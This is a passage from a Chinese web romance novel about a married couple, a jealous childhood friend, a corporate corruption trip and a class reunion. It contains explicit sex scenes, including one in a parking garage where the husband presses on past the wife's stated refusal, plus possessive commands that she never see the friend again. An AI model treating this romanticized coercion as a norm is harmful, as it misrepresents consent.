“忘了。”谢屿舟轻飘飘说了两个字。 他以为她喜欢他,才会答应和她做/爱,然而,她那天只想睡他。 在床上借机问她她们是什么关系,她打马哈哈过去,问她喜不喜欢他,她闭口不答。 宋时微:“呵。”男人。 车子开进臻悦府,在玄关处,宋时微一直在等,什么都没发生,今晚不正常的事情再次加一。 谢屿舟没有强吻她,没有把她按在墙上干柴烈火。 反而问她,“你先洗还是我先洗?” 看吧,果然不正常,连澡都不一起洗了。 “我先。” 宋时微心不在焉,囫囵冲了个澡,套上吊带睡裙,外面裹上开衫。 谢屿舟正在衣帽间归置出差物品,看到她,也只是淡淡转开视线。 “给你买了礼物,你是现在拆还是明天拆?” 宋时微:“现在。” 拆快递和拆礼物是等不到第二天的,更何况,她想看看谢屿舟在搞什么幺蛾子。 男人买的礼物装满了整个行李箱,每份礼物按照城市分类包装好,用当地特色的包装纸,用心至极的礼物。 宋时微仿佛置身在礼物海中,她一个一个拆,制作精美的手工陶瓷杯、扎染的发圈、糕点等等,他去过他看过的风景,原封不动给她带了回来。 除此之外,箱子底部还有保值的黄金首饰。 她拆得尽兴,不知道男人早已从浴室出来,更不知道自己的开衫早已滑落,清冷的肩膀和精致的锁骨尽入他的眼帘。 黑色衣服在她身上发挥了最大的性感,盈盈一握的腰肢。 谢屿舟提起裤子,蹲在宋时微身边,手臂揽上她的腰。 “谢太太,我有合理理由怀疑你在诱惑我。”另一只修长手指划过她的脸颊。 宋时微扯了下开衫,被男人用腿压住,根本拉不动,“明明是你家的地暖制热效果太好。” 谢屿舟纠正她的措辞,手指掠过下颌,不掩饰真实的欲望,“这也是你家。” “所以,故意招我?” 宋时微仰起头,抿紧唇瓣,“如果是又怎样?” “不怎么样,求之不得。” 男人亲上她的嘴,拿掉她手里的礼物,扔到一旁。 谢屿舟大手一挥,在旁边的穿衣凳上扯来一条毛毯和一个抱枕,垫在地上,将宋时微放在毯子上。 ! 他目光深邃,自上而下俯视,“本来怕你累,今晚想放过你,但你非要勾引我。” 宋时微回怼他,“明明是你自己想,赖在我身上。” 谢屿舟坦然接受,“对,是我想,想狠狠……你,想一直一直。” 地暖持续作业,地板被烘烤得暖意十足。 宋时微躺在地上,不觉得冷,只觉得热,前后都热。 她的耳朵、脖颈和脸颊变成最红的红色,锁骨变成了粉红色。 谢屿舟注视着她,“这一周有用过玩具吗?” 为了保证化妆的效果,衣帽间的灯光强烈,此刻比日光还要明亮。 男人的瞳仁深沉似黑洞,吸引着蛊惑她沉下去。 宋时微扬起漂亮的眼睛,“你猜?” 她的手不老实,活脱脱是一个打火机,故意在他身上点火。 谢屿舟:“我摸一下就知道了。”他的手指修剪过,修得整体,不会刮伤任何东西。 “这么想我啊。” 手臂向空气中甩了几下,水珠在光线照射下发光。 猝不及防之间,他又回去了,只是这次换了主角。 宋时微咬住下嘴唇,骂他,“谢屿舟!!!” 始料未及,完全不在她的准备之中。 谢屿舟喘气,“怎么了?” 晚上的温柔是错觉,现在的狠厉才是他。 地毯不薄不厚,与床垫没法比,太杠人。 宋时微又分神了。 “啪”,谢屿舟的手掌拍了一下她。 随着巴掌的落下,骤然间,谢屿舟深呼吸一口气,“时时,别。” 宋时微:“还不都是你的错。”她知道这是一种调情的方式,而她竟然不反感,甚至还在期待。 谢屿舟自然能感觉出来,“乖乖,你这么喜欢啊?” 万籁俱寂的深夜,衣帽间里上演交响乐。 喘气声、打巴掌的声音、水声还有最让人面红耳赤的二重奏,在墙壁间回荡。 谢屿舟捞起宋时微,放在月退上,竟慢慢站了起来,抱着她,走到穿衣镜面前。 第 52 章 第52章 陈叙白瞬间明白,谢屿舟在给他设陷阱,难怪刚刚他的注意力在远处,“微微,我不是故意的,是他。” 人伪装久了,一旦被拆穿,只会更加狗急跳墙,想尽办法证明自己不是这样的人。 宋时微牵住谢屿舟的手,眉头紧蹙,直直盯着陈叙白,“我都看到了,叙白哥,我不知道你们发生了什么争执,但你不能打他。” 说完这句话,她转过身查看谢屿舟的伤。 谢屿舟预判到宋时微会看见,没有预判到她会毫不犹豫挡在他的面前。 挨的一拳,值了。 宋时微从包里掏出纸巾,温柔擦掉男人嘴角微微渗出来的血。 谢屿舟弯下腰,凑到老婆的眼前,瞥了身后的陈叙白一眼,卖惨说:“老婆,疼。” “那你忍着点。”宋时微用纸巾轻手点掉血迹。 她细细检查一番,确认没有大碍,才稍稍放心,从她的角度看,陈叙白刚才使了很大的力气。 两个人俨然一副恩爱的夫妻,别人融不进她们之间。 陈叙白在后面脸色发青。 “我们先走了。”宋时微拉住谢屿舟,向自己的车子走去。 从落拳的那一刻,她内心的选择便已明了。 陈叙白拉住了她的胳膊,为自己辩解,“难道我们一起长大的感情比不过一个后来者吗?你相信他?他能躲不过去吗?” 他知道,一旦放手,他和宋时微再无可能回到朋友的关系,那么一路的隐忍谋划,全部会付之东流。 宋时微脚步微凝,“他躲不躲得过去都不是你打人的理由,而且他不是别人,他是我老公。” 她陌生地看着对面的男生,像不认识陈叙白似的,不明白他为什么对谢屿舟这么大敌意。 从前不是这样。 陈叙白指着谢屿舟,“你别被他骗了,你走了七年,他对你还能有什么感情,哄骗你结婚,也只是为了报复你。” 事情朝着不可控的方向发展,他说的每句话宋时微都听不懂。 她不明白为什么他要对她的婚姻指指点点。 “这是我和他之间的事,叙白哥,你越界了。” 宋时微的手忽的被人攥紧,她强调,“有句话你说错了,是我要和谢屿舟结婚的,不是他骗的我。” 陈叙白第二次听到这句话,好像她说过,上次只当她在安慰他,现在看来是实情。 她的天平倾斜到谢屿舟那一边,从以前到现在,一直如此。 在学校里,宋时微看似和他不避嫌,其实是坦荡,没有任何男女之情。 因为只有在意在乎,才会如此小心翼翼,不想被人窥探到内心的喜欢。 他想着,宋时微只是被谢屿舟的外表迷惑,走入歧途,最后会回到他的身边,就像小时候一样,跟在他身后。 吃了亏才会明白他的好,结果她好像真的喜欢他,所以他转变策略,想办法离间他们。 模仿她的笔迹写了一封给自己的情书,拿到谢屿舟面前,结果这个男生竟然傻乎乎地相! 信了。 加上他在学校当着谢屿舟的面,给宋时微送东西,故意挑衅,而宋时微没有和他避嫌,谢屿舟深信不疑。 她是他的,谁也抢不走。 而高考后的有一天,宋时微彻夜未归,一男一女能发生什么,显而易见。 这件事让他更讨厌谢屿舟,诱骗十八岁的她去开房,他一直不舍得碰她,而这个男人竟然骗她做/爱。 不是处/女无所谓,他不会嫌弃她,以后覆盖掉就是了。 顺便给谢屿舟的爸爸通风报了个信,有钱人是看不上宋时微的,她终究会明白,还是他好。 后来宋时微离开南城,他去找她的亲戚,皇天不负有心人,终于让他找到了她在哪儿。 七年温水煮青蛙,谢屿舟肯定很恨她,这是他的机会。 当然这一切,宋时微全然不知,不然怎么会一直把他当朋友。 一想到自己多年的隐忍挑拨全部白费,要彻底失去宋时微,陈叙白不禁捏紧了宋时微的胳膊。 “松开。”谢屿舟和宋时微换了一个位置,脸色沉下去。 他捏紧陈叙白的手,轻而易举将他推到一旁,又嫌弃地掸了掸宋时微袖子上的灰尘。 谢屿舟眼神冷厉,警告道:“最后一次。” 他不想和陈叙白再多费口舌,也不想宋时微再见他。 谢屿舟牵紧宋时 微的手,离开这个是非之地。 两个人坐进车里,男人找机会卖惨,不让宋时微看远处站着的男人。 “嘶”,谢屿舟摸摸自己的嘴角,露出可怜的表情。 宋时微斜乜他,“人都看不见了,别演了。” 是啊,陈叙白有句话说得对,他不可能躲不过去的,在那个危急时刻,她想不了那么多。 现在一看,再晚一会,伤口恐怕要愈合了。 谢屿舟几不可查地扬起嘴唇,“哦。”关键时刻,她保护了他,这是事实。 宋时微好奇,“你们聊什么了,能让叙白哥脾气这么好的人动手。” 谢屿舟嗤笑道:“他脾气好?算了吧。” 好脾气的人会在高中告诉你,宋时微和你只是玩玩,为了让他吃醋吗? 好脾气的人会嘲笑你被抛弃吗?和你打了一架,骂你和她上床好贱吗? 宋时微:“是还不错,没有和谁红过脸。”除了今天,陈叙白对谁都是和善的。 谢屿舟解开刚系好的安全带,越过中控台,咬上宋时微的唇。 他讨厌她提陈叙白,更讨厌她夸陈叙白。 她喜欢过他,不知道为什么没在一起,但是她给他写过情书。 思及此,男人像饿狼扑食,像狮子看到了可口的猎物,炙热的气息扑洒,要不是现在是室外停车场,宋时微怀疑谢屿舟真会吃了她。 谢屿舟啮咬她的嘴和脖子,留下一个一个浅浅的牙印,眼睛里掠过凶狠,“不准再提他。” “知道了。”宋时微整理掉落的头发,没有看到刚刚从车子旁边路过的人。 她不知道,有人目睹了! 她和谢屿舟接吻。 而谢屿舟知道,他就是故意的,当着陈叙白的面亲她。 当然了,宋时微的脸只能给他看,所以车外的人只能看到他们在接吻,看不到她。 后视镜里,停车场越来越远,小山坡也越来越小,就像人长大以后,和许多人会渐行渐远。 分别是一门需要学习的功课。 到达臻悦府地库,宋时微按车的解锁键,车门没有反应,她扭过头望着谢屿舟,“你开锁。” 男人薄唇却说:“我想做你。” 这里吗?宋时微被吓了一跳,“那也要回家啊。” 谢屿舟解开安全带,声线冷硬,“我要在这里。” 宋时微压低声音,“啊?你疯了。”她被他的眼神吓到,攥紧安全带。 男人调整座椅位置,靠背放了下去,瞬间多出一大片空间,他来真的。 谢屿舟扣住她的后颈,眼神晦暗,“我是疯了,我想狠狠地……你,现在。” 猝然间,副驾驶的座椅也倒了下去。 宋时微缓和语气,“这是停车场,你也要讲究地方啊,上去也耽误不了多少时间。” 下一秒,宋时微被他抱了过去。 她人是懵的,她怎么到的驾驶位,她有这么轻吗?还是谢屿舟力气大? 宋时微坐在他的腿上,双臂抵在两人之间,“我不要,你不能强迫我。” “时时,乖,这是私人车库,监控我关了。”为了证明自己,谢屿舟打开手机给她查。 宋时微拒绝,“那也不行。” 谢屿舟不疾不徐,迂回战胜蛊惑她,“你不想多尝试几个地方吗?” “嗯,宝宝。”不像他以往的强硬手段,反而和她好声好讲。 “你看看,他想她了。”宋时微明白他说的是什么。 谢屿舟揽住她的背,又亲了上去,温温柔柔吻她的唇,慢慢软化他。 待宋时微反应过来的时候,上半身完好无损,裤子掉在了脚边。 好一个声东击西。 谢屿舟贴在她的唇角,“这里都在流……还说不想?” 她的腰抵住方向盘,越说反应越大,控制不住。 谢屿舟像抓住她的把柄,“你把我衣服弄湿了,时时要负责。” “啊?”宋时微顿时掐住他的手臂。 男人活脱脱是一只披着人皮面具的狼,一刻没闲着。 她就这样……被贯。 宋时微咬紧唇瓣,“快开防偷窥模式。” “没人能进来。”谢屿舟捂住她的嘴巴,“但是,你的声音太大。” 宋时微咬他的手心,“虚伪,你不就喜欢声音大吗?” 谢屿舟笑了笑,“不想被别人听见,只能我听。” 男人还是贴心的,手掌护住她的头顶,嘴巴不停歇,扒开、衔住、咬住。 宋时微觉得她现在就是一条烤鱼,怕烤糊了,到时间翻个面,两只胳膊趴在方向盘上。 男人低沉的声音在车里回响。 “以后不准! 再见他,知道了吗?” “不准偷偷加回来他。” “不准提他,不能想他。” 宋时微:“明明是你一直提。” 她故意逗他,“如果我在路上不小心见到了呢,不能当做陌生人吧,不太礼貌。” 礼貌?哪门子礼貌。 谢屿舟不想听她说话,后面她也说不出来话。 他没有告诉她,陈叙白和他说的那些话,他可不想让她回忆起高中的情书。 深夜,谢屿舟没有困意,抱住宋时微复盘七年前的疑点,她睡得正香。 爸爸的事情、外婆的去世、他爸爸的逼迫,哪一件都不是一个十八岁女生能承受的,偏偏她承受了下来。 —— 年底不太平,谢屿舟出差变多了许多,刚回来没几天,又要去清江处理一起突发事故。 供应商要款的事情,明明很好解决,偏偏要他出面,貌似是和贪污受贿有关,宋时微没有多问。 宋时微给他收拾行李,拍拍谢屿舟的肩膀,“谢总,好好查,我们的年终奖等着你呢。” 按照老员工所言,寰宇的年终奖在过年之前发,这不又快到家了。 高管捞钱在许多私企非常常见,包括之前的周天睿,最后能让他绳之以法的并不是性/骚扰,而是侵占公司财产,数额巨大。 多么讽刺。 谢屿舟抱住宋时微,“证据充足,很快回来。” 宋时微喃喃自语,“不回来也没事,我乐得轻松自在。” 最近做得有点多,她想歇歇。 谢屿舟:“那你死心吧,最多两天解决。” 宋时微:“哦,可惜呀。” 谢屿舟郑重警告她,“在家乖点,我知道林以棠回来了。” “放心,点男模不会让你知道的。”宋时微安慰他。 谢屿舟:???“马上放假了。” “啥意思?”宋时微不懂。 谢屿舟直言:“有十二天假,除非你想瘫在床上。” 宋时微觉得瘆得慌,不行不行,吃多了肉会腻。 一个人在家,家里太冷清,下班后,宋时微去门口的商场逛街。 第 53 章 第53章 窗外大风肆虐,疯狂拍打窗户,隔着中空玻璃,隐约能听见风声。 宋时微抱着酒瓶,手机扔在一旁的沙发上,完忘记了她刚刚才给谢屿舟发了消息。 风声混响,听着些许骇人。 家里安静得可怖,极致的静会让人心生恐惧。 她收好小姨给的黄金首饰,放进保险柜里,妥善封存。 一个人在家里毫无困意,趴在沙发上盯着天花板发呆。 又侧过身体,数发财树有几片叶子。 数不清,很混乱。 其实,自她出生起,便备受宠爱长大,独生女且父母不重男轻女,许是太顺风顺水,18岁后,一夕之间,天翻地覆。 应该有所察觉的,因为突然间爸爸挣了很多钱,改善了家里的经济条件。 事实证明,不属于自己的东西,果然都会失去。 朦胧的水雾里出现一幅场景,小时候一家三口去游乐场玩,她走累了,爸爸背着她回家。 时而是她和谢屿舟悄悄见面的场景,有一回大雨后,她穿了新鞋不想踩水坑,是他背她走过去。 人真固执,她以为七年足够放下一个人,结果毕业后没有了负担,选择立刻回南城。 此时千里之外的清江,温度适宜,气温比南城高,谢屿舟开了一天的会,总算摸清楚症结所在。 男人和谢屿舟坐在办公室里,进行复盘。 原来是清江分公司之前的一把手进去了,留下一堆坏账,涉及的项目太多太杂,没有可以拍板的人。 现在的经济环境中,这种情况屡见不鲜,首先保农民工工资保交楼,剩下群体的合法权益无人在意。 这些人没办法,找到了总部公司。 年底结款让员工回家过个好年,无可厚非,可总有许多人不顾别人死活。 孟新允汇报,“清江分公司是钱高义一手建立,根系众多纷杂,加上是老谢总的直系,目前还缺点直接证据,财务是他的嫡系,挖来的高手。” 谢屿舟站起身,扣上大衣纽扣,“大难临头,说不准的,先去吃饭,看看他们给我设了什么鸿门宴。” 俗话说得好,天高皇帝远,手下这些人能有几个好鸟,哪里是不想拍板,分明是怕惹火上身。 孟新允担忧道:“要不要喊保镖?” 谢屿舟凛声强调,“是吃饭,不是打架,他们现在是想赶紧把我送回南城,不想搞出其他事。” 孟新允老实听训斥。 当地著名的私房菜馆,顶层的包厢里热火朝天,在门开启的一刹那,刹那间,鸦雀无声。 谢屿舟姗姗来到,“抱歉,我来晚了。”主位留了一个椅子,他直奔而去。 面前有一杯酒,看来是为他准备的。 男人的手放在酒杯处,顿了一下,忽略了酒,转而拿起了茶盅,“最近和太太在备孕,以茶代酒,见谅。” 清江分公司的高层领导分坐在两旁,互相看了几眼,不确定是不给他们面子,还是真的在备孕。 这位主结婚的! 消息低调得很,没有婚礼没有宣扬,问起老谢总,得到了白眼和不耐烦。 分公司目前的一把手,廖副总首先回话,端起酒杯,“那祝谢总早日喜得贵子。” “谢谢。”谢屿舟话锋陡然一转,“不过,我更喜欢女儿。” 廖副总尴尬了一秒,“女儿也好,那就是喜得贵女。” 作势要将满杯的酒一饮而尽。 待他喝完后,谢屿舟缓缓开口,腔调沉稳,“廖副总,自己人吃饭,不用这么客气,酒喝多伤身,不好,凡事要讲究一个度。” 故意选在他喝完了才说话,尤其是最后一句话,更是意有所指。 廖副总附和,“谢总说的是。” “都是自己人,随便吃。”谢屿舟打开手机玩,男人才看到宋时微半个小时之前发来的信息,【谢屿舟,我好想你。】 谢屿舟:【想我什么?】 宋时微:【想你在我身边。】 结合在一起看,非常不正常,首先怎么会说‘想他’,没有上下文。 发生了什么?谢屿舟生出不祥的预感。 餐桌上的人等他先动筷子,男人掀起眼睫,表示歉意,“抱歉,回太太消息,你们先吃。” 面上不显山不露水,“太太粘人的很。” 现场不是没有结过婚的人,对此感到十分稀奇,任谁也看不出来,他对太太是有话必回。 谢屿舟又发了一条消息,【你在家吗?】 对面的女人没有回复,宋时微去洗了个澡,手机掉在沙发缝里了。 男人尝试拨电话,同样没人接听。 一顿饭吃得差不多了,谢屿舟侧头问孟新允,“你吃饱了吗?” 孟新允擦了擦嘴巴,“吃饱了。”他不知道老板采用的是什么策略,既不是忽视,也不是热情,看不懂。 但今天不用喝酒,是极好的。 谢屿舟同样吃饱了,他站起来告辞,“家里太太找,需要回一趟南城,单买过了。” “谢总,您慢走。”所有人松了一口气。 谢屿舟整晚兴致缺缺,饭局不喝酒,很多事没法开口,搞得其他人也不好意思喝,本来想灌醉他,结果人家用‘备孕’的理由绝杀。 主位的人走了,旁人没有留下的必要。 廖副总在助理的搀扶下,坐进车里,“毛头小子,在这充当老大,我们打江山的时候,他还在上初中呢。” “一口酒都不喝,明摆不给我们面子,老谢总来了都不会这样。” 车窗未关,话准确无误传到谢屿舟耳里。 孟新允轻声喊:“谢总。” 谢屿舟的黑眸淡瞥他,示意他不要打草惊蛇,认真听,酒后吐真言。 廖副总还在喋喋不休骂,“还太太,老谢总都不承认,不知道是哪个普通人。” “我们本来做得好好的,他非要过来横插一脚。” 车子走远,剩下的话听不见,孟新允:“钱总和廖副总是同学,对您颇有微词。” 哪里是颇有微词,看来意见很大。 ! 钱高义讲义气,一个人跳出来,保其他人,剩下的人领不领情不好说。 他们年薪不低,克扣员工工资,卡供应商回款,粗制滥造工程,贪心不足蛇吞象。 桩桩件件处理起来都不简单,谢屿舟靠在椅背上,摁摁眉心,“能申请航线吗?” 他不喜欢坐私人飞机,浪费资源,不赶时间的话,普通飞机足够。 现在放心不下宋时微,今天的对话非常反常。 孟新允搜索资料,“能,最多一个小时。” 谢屿舟:“好,明天早上的记得申请,你先和他们开会,问就说你不知道我在做什么。” 孟新允应声:“明白,老板。” 三个多小时后,飞机降落臻悦府停机坪上。 谢屿舟轻轻打开大门,房间内亮起一盏暖色的夜灯,他在四周寻找,沙发前方坐着一个人。 空气里弥漫酒精和葡萄的香气。 宋时微抱住膝盖,团成一个小球。 脚步声离她越来越近,按道理家里不应该出现其他人,她没有害怕,声音和气息很熟悉。 宋时微仰起脑袋,难以置信地看着眼前熟悉的男人,“谢屿舟,你回来了吗?这是一场梦吗?我一定在做梦。” 她弯起漂亮的眼眸,“我都不告而别了,你怎么可能还会回来我身边。” 谢屿舟摸摸她的头发,她的记忆似乎混混乱乱,以为是梦,以为是过去。 桌子上一瓶白兰地见了底,他不确定喝之前剩下多少。 女生自言自语,“你一定恨死我了,不对不对,恨是因为喜欢,你都不喜欢我了,也不会恨我,不对还是不对,我不知道你喜不喜欢我,你也没说过。” 谢屿舟看她两颊泛红,“我抱你去床上睡觉。” 宋时微搂紧他,“哇,是活的,还会动哎。” 喝醉的她,有些可爱。 谢屿舟:“你喝了多少酒?” 宋时微用手指比划,“没多少,还没有我之前做兼职时喝得多。” 谢屿舟假装不经意问:“做什么兼职?” 宋时微以为在梦里,放下了戒备心,“酒吧卖酒,一晚上赚了一万呢,没有比这来钱快的了。” 谢屿舟心脏陡然沉一下,“卖酒要喝酒吗?” 宋时微老老实实回答,“要的,有些客人喝多了就喜欢为难别人啊。” 听见这句话,谢屿舟握紧了拳头。 忍着心里的难过,男人问:“你那时喝了多少?” “大半瓶。”宋时微:“不过,我后来不去了。” 她抬起手,抚摸谢屿舟的下巴,眼里蓄满泪水,“谢屿舟,如果你在的话,是不是就没人敢欺负我了?” 谢屿舟替她擦掉眼泪,泪水像连成线的雨滴,怎么都擦不完,“我在这,一直在。” “我没有换过号码,微信q/q电话都没有变。” 他不敢换,怕她找不到他。 男人将她放在床上,宋时微抱住他的腰身,不让他离开,“别走。” 谢屿! 舟:“我不走。” 宋时微的眼圈泛红,晶莹的泪水划过脸颊,打湿了谢屿舟的毛衣。 她声音哽咽,“谢屿舟,我不敢找你,也不能找你。” 谢屿舟:“为什么不能找?” 宋时微摇了摇头,不愿意回答,她怎么能找他,她要还钱,她爸爸害得别人差点家破人亡,害得外婆出事,她们被所有人唾骂。 她本来和他就是两个世界的人,现在更是。 谢屿舟温声说:“梦里也不愿意告诉我吗?时时。” 男人垂下眼睫,定定盯着她看,弯腰吻掉她的眼泪,动作轻柔。 宋时微低下脑袋,手指搅着毛衣,“因为我爸欠了好多好多钱,还都还不清,怎么办啊?还剩下好多。” 她的记忆是混乱的,半瓶白兰地,神智不可能清醒。 谢屿舟安慰他,“现在没了,不欠钱了。” 他上次看过汇款单,按照转账记录,所有的欠债全部还清。 宋时微不可置信地问:“真的吗?我还完了吗?” 谢屿舟:“对。” 宋时微:“那我可以安心睡觉了。”她乖乖拉上被子,闭上眼睛。 一秒钟后,她睁开眼,“不想睡,怕醒了你就消失了。” 谢屿舟拍拍她的肩膀,“不会,醒来我还在。” 宋时微不相信,“你一定是骗我的,这样的梦我做过很多很多次。” 谢屿舟在她身边躺下来,轻声询问:“还梦见过什么?” 她长臂一伸,调低了灯光的亮度。 宋时微再次抱住他,“梦见你和别人结婚了,不认识我了,梦见你当着我的面亲别人。” 谢屿舟:“不会。” 他何尝没做过类似的梦,梦里她更残忍,还挑衅说她从来没喜欢过他。 宋时微无理取闹,“梦里的你肯定是安慰我的,男人惯会花言巧语。” “不是。”谢屿舟捞起床头的手机,调出私密文件夹的照片,“你看,我们结婚了。” 红色的结婚证,白色的衬衫。 宋时微偷笑,“是哦,我们结婚了,那你怎么还出现在我的梦里?” 谢屿舟准备套更多的话,不能提前暴露,“你说想我,我就回来了。” 宋时微使劲摇头,“我才没有想你,不想不想。” “你没有想我。”谢屿舟微扬眉峰,“是我想你,所以我就回来了。” 第 54 章 第54章 宋时微鼓起勇气回视谢屿舟,“你脸也很红,那你红什么?” 谢屿舟慢条斯理说:“天生体热。” 男人又向前凑了几分,“另外昨晚忍的。” 为了安慰哭泣的她,整晚抱着她睡觉,而且宋时微昨天很难过,一直往他怀里拱,把他当成人形抱枕。 宋时微睇他一眼,不搭理他不正经的语言,手臂推开他的肩膀,绕到卫生间洗漱。 谢屿舟在抽屉里选袖扣,和旁边的女人报备,“我回清江,顺利的话,明天就能结束。” “你是因为我说想你了回来的吗?”宋时微的嘴巴比脑子反应快,问出了这个问题。 空气似乎停止流动,她屏气凝神等他的回答,心脏内像有无数只蝴蝶振翅,亟待飞出。 短暂的沉默过后,男人沉稳道:“是。” 谢屿舟不再有隐瞒,遵循内心的选择。 他走上前,看到宋时微微微肿起的眼睛,心脏被揪了一下,抬起胳膊搂紧她。 “别乱想,等我回来。” 抚拍她的后背,似昨晚一样。 “好。”在他充满安全感的怀抱里,宋时微小声回道,同时紧紧箍住他。 这是一个没有情欲和剑拔弩张的拥抱,只有对彼此的不舍。 谢屿舟看了眼银白色的表盘,“我要走了。” 不得已松开了她。 男人抬起长腿,黑色的背影绕过衣帽间走到主卧的门口,挺括身影即将消失在她的视野中。 宋时微冲了出去,再次抱紧他。 她的脸趴在他的背上,喊他的名字,“谢屿舟。” “我在家等你回来。”看不到他的表情,才可以说出心里话。 “好。”谢屿舟转了个身,低头亲在她的唇上。 男人只敢蜻蜓点水亲吻她,不敢在她的嘴唇逗留,担心自己失控,更加不想离开。 房间里安安静静,时不时发来小猫“喵喵”的声音,除此之外,再无其他气息。 如果不是谢屿舟换下来的衣服搭在脏衣篮中,宋时微真要以为昨晚是错觉,昨晚是一场梦了。 她捶捶自己的脑袋,命令道:“死脑子,你快想起来啊,昨晚到底发生了什么。” 她不去卖酒就是担心断片和经不住诱惑,毕竟在那个环境下,加之高压欠债,她不是圣人,赌不起人性的弱点。 南城北风萧瑟,宋时微在临港生活多年,一下适应不了湿冷的气候,裹着水汽的西北风往脖子里灌。 梧桐树光秃秃剩下黄色的叶子,街上的彩灯越来越绚烂,到了农历26了,距离过年没有几天。 而寰宇明天就要放假,意味着今天是发年终奖的日子。 乔言心哼着小曲坐到自己的位置,“马上过年了,心情就是好,坐着等年终奖,我可听说了,不会克扣,全额发放,实习生也有,按月龄给。” 曾嘉佑伸长脑袋,“真的吗?” 他调到智能家居部之后,和乔言心、宋时微混得更熟,能吃苦没有大男子主义! ,她们乐意带他一起。 乔言心拍拍胸脯,“当然啦,你心姐我的消息那可是和夏天的西瓜一样,保真。” 曾嘉佑:“我信你。” 乔言心抬起头看看四周,大家都没有干活的心情,她神秘兮兮说:“小道消息,谢总今天回不来,听说清江那边不好搞,都是千年的狐狸,个个能喝,势力复杂。” “啊?”情绪低落了一早上的宋时微,回过了神。 她担心谢屿舟,每个人比他年龄都大,他也才毕业没多久。 同时,她也在纠结断片的内容是什么,表白的话,那也不是不可能。 曾嘉佑指了指隔壁的宋时微,小声问乔言心,“微微姐怎么了?” 乔言心摇摇头,“不知道,等会再说。” 过了一小会,她悄悄问:“微微,你咋了?心不在焉。” 宋时微露出一个勉强的笑,“昨晚没睡好。” 万能的敷衍人的借口,“我没事,想着放假了,我的报告还没写完,谢总也还没看。” 乔言心:“那你好好休息,不要给自己太大压力,我听老员工说,这半年公司大变样,不搞乱七八糟的日报周报月报,不提倡加班,出差有补助,过年后我要努力工作,让公司更上一层楼。” 俗话说的好,过了年再说。 十点一到,办公室的手机在同一时刻响起,每个人拿起手机查看自己的年终奖。 乔言心看到数字,满意得很,“真是贴心呢。” 曾嘉佑忍不住说:“比我想得多多了。”他以为他只有几百块而已,结果有半个月工资了。 乔言心示意他,“嘘嘘嘘,年轻人不要这么浮躁,不能讨论工资。” “噢噢噢,激动忘了。”曾嘉佑盘算这笔钱怎么花了,还一部分欠款,给爸爸妈妈买新衣服新鞋子。 好像遇到了宋时微后,他的生活变得越来越好。 话说他来寰宇面试,就是看到了她在做ppt,尝试看看。 宋时微攥着手机,等谢屿舟的消息,她怕打扰他的工作。 比消息先来到的是转账信息,她有了开口的由头,【谢总,这是什么意思?】 谢屿舟秒回,【我的分红,上交给一家之主。】 宋时微:【那我收着了,原来谢总工资不是‘一块钱’啊。】 她没注意到,自己嘴角在上翘。 谢屿舟:【放心,没有离婚的可能,但你不会缺钱花。】 宋时微:【处理得怎么样?】 谢屿舟:【在意料之中。】 宋时微稍稍放心,这句话有安慰她的成分。 刚结束会议,谢屿舟接到余子昂的电话,上来就是借钱,“谢总,借我点钱,我知道你今天发分红。” 谢屿舟慢悠悠说:“余律师还需要找我借钱吗?” “需要。”余子昂低声说:“救个急,年终奖还没发。” 谢屿舟果断拒绝,“没有,我现在身无分文,比你还穷。” 余子昂:“不可能,你才发的钱。” ! 谢屿舟得意说:“钱上交给媳妇了。” 余子昂:???“我们兄弟终究是生分了。” “就没熟过,等我问下我老婆。” 谢屿舟向宋时微请示,给余子昂打了一笔钱。 宋时微:【他要钱做什么?】 谢屿舟:【应该是买房,刚摇中的豪宅。】 宋时微:【我以为你们不会缺钱。】 谢屿舟:【会缺,现金流是有限的。】 宋时微想想也是,上市公司的老板没有网红钱多,她们是实打实的现金流。 过年前各个群活跃了起来,尤其是各种聚会,宋时微和林以棠在年前约一波,准备和宋池雨见一次面。 而沉寂了一段时间的高中班级群,在过年前也热闹了起来,班长在群里发起“聚会接龙”。 毕业后,有的班级聚会多,有的可能再无交集。 宋时微不知道他们是什么样子,她和他们属于一点交集都没有。 于是,她没有接龙,谢屿舟远在清江也没有接龙。 宋池雨:【微微,同学聚会你来不来?】 宋时微思来想去,选择直言拒绝,【我不想去,对不起啊。】 上学时,她和大家的关系都还不错,班里氛围轻松,只是阔别多年,不想被别人问起现状。 宋池雨:【来嘛,来嘛,你就当陪我了啊,大家好不容易聚到一起。】 宋时微编了个理由,【我那天有事。】 看她仍没有松口,宋池雨使出杀手锏,【主要是梁博简也来,我想看看他变没变,看看有没有机会。】 宋时微品出这句话的言外之意,【???!!!你别告诉我,你喜欢他?你竟然喜欢他?】 这两个人毫无交集,宋池雨不像会搞暗恋的人。 宋池雨:【我本来想高考之后告诉你的,结果我被我妈带去了乡下,回来就找不到你了。】 宋时微:【那我去。】她删掉了后半句话,暗恋通常自带滤镜,不抱希望比较好。 但是,万一是好的结果呢,不能浇灭了朋友的希望。 吃晚饭时,宋时微和谢屿舟视频,提了同学聚会的事,“我要去,你来吗?” 谢屿舟在看报表,“不一定来得及,反正我们家有谢太太做代表了,我去不去都可以。” 宋时微下意识回:“同学聚会,你是你,我是我。” 谢屿舟被她气笑了,凛冽声音回:“又想着和我避嫌。” 察觉到他的生气,宋时微学会给他顺毛,“要循序渐进,换做是我,我会大吃一惊。” 谢屿舟:“哦,他们吃惊关我什么事。” “你明天几点回来?”宋时微岔开话题。 “不告诉你。”倏然,谢屿舟看到接龙名单里一个熟悉的名字,握紧了拳头,“孟新允那我打过招呼了,他不会告诉你。” 男人扬起语调,“除非……” 宋时微:“除非什么?” 谢屿舟擒着笑,“除非你一会……” 宋时微脸颊变! 红,“流氓。”秒懂他没说出口的话是什么意思。 谢屿舟看着屏幕,认真说:“不准避嫌,明天记得说‘抱歉,宋时微的先生谢屿舟有事来不了’。” 宋时微敷衍道:“知道了。” 翌日,宋时微画了一个淡妆,穿上雾霭蓝色的大衣,搭配针织鱼尾长裙和白色短靴,不会过于张扬,也不会显得不重视。 和老同学七年不见,心里还是有点紧张的。 昨晚半夜,班长临时通知换了场地,从普通的私菜馆换到了高端的私房菜。 宋时微停好车,看了眼四周的车子,她的车子低调不奢华,毕竟是她特意选的代步车。 在一楼大厅看到了宋池雨,小跑几步打招呼,“池雨。” 年前,宋池雨忙着案件归档,没有时间约宋时微,“微微。” 在工作人员的指引下,两个女生并肩朝电梯走去。 这时,听到身后有男人喊,“宋时微。” 两个女生一齐向后看。 戴着眼镜的男人停在宋时微的面前,“好久不见。” 电梯里陡然安静下来,宋时微辨别了一分钟,茫然地看着宋池雨,给她使眼色,这是谁?哪个同学? 